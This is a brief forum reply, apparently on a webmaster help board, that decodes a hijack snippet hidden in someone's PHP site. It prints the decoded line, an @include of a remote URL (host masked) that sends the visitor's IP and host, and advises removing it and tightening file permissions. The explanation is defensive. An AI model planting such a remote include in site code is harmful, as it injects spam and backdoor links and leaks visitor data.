Thats a hijack, after 10 base64 decodes it results in
Code:
@include("http://**********.info/links/148.txt?ip=".$REMOTE_ADDR."&host=".$HTTP_HOST);
(link removed for safety)
Seems like some kind of spam list, lots of porn and viagra links and also a few adware and backdoor site links, if you see it again, remove it asap. also may be a good idea to set your CHMOD privlidges to the files.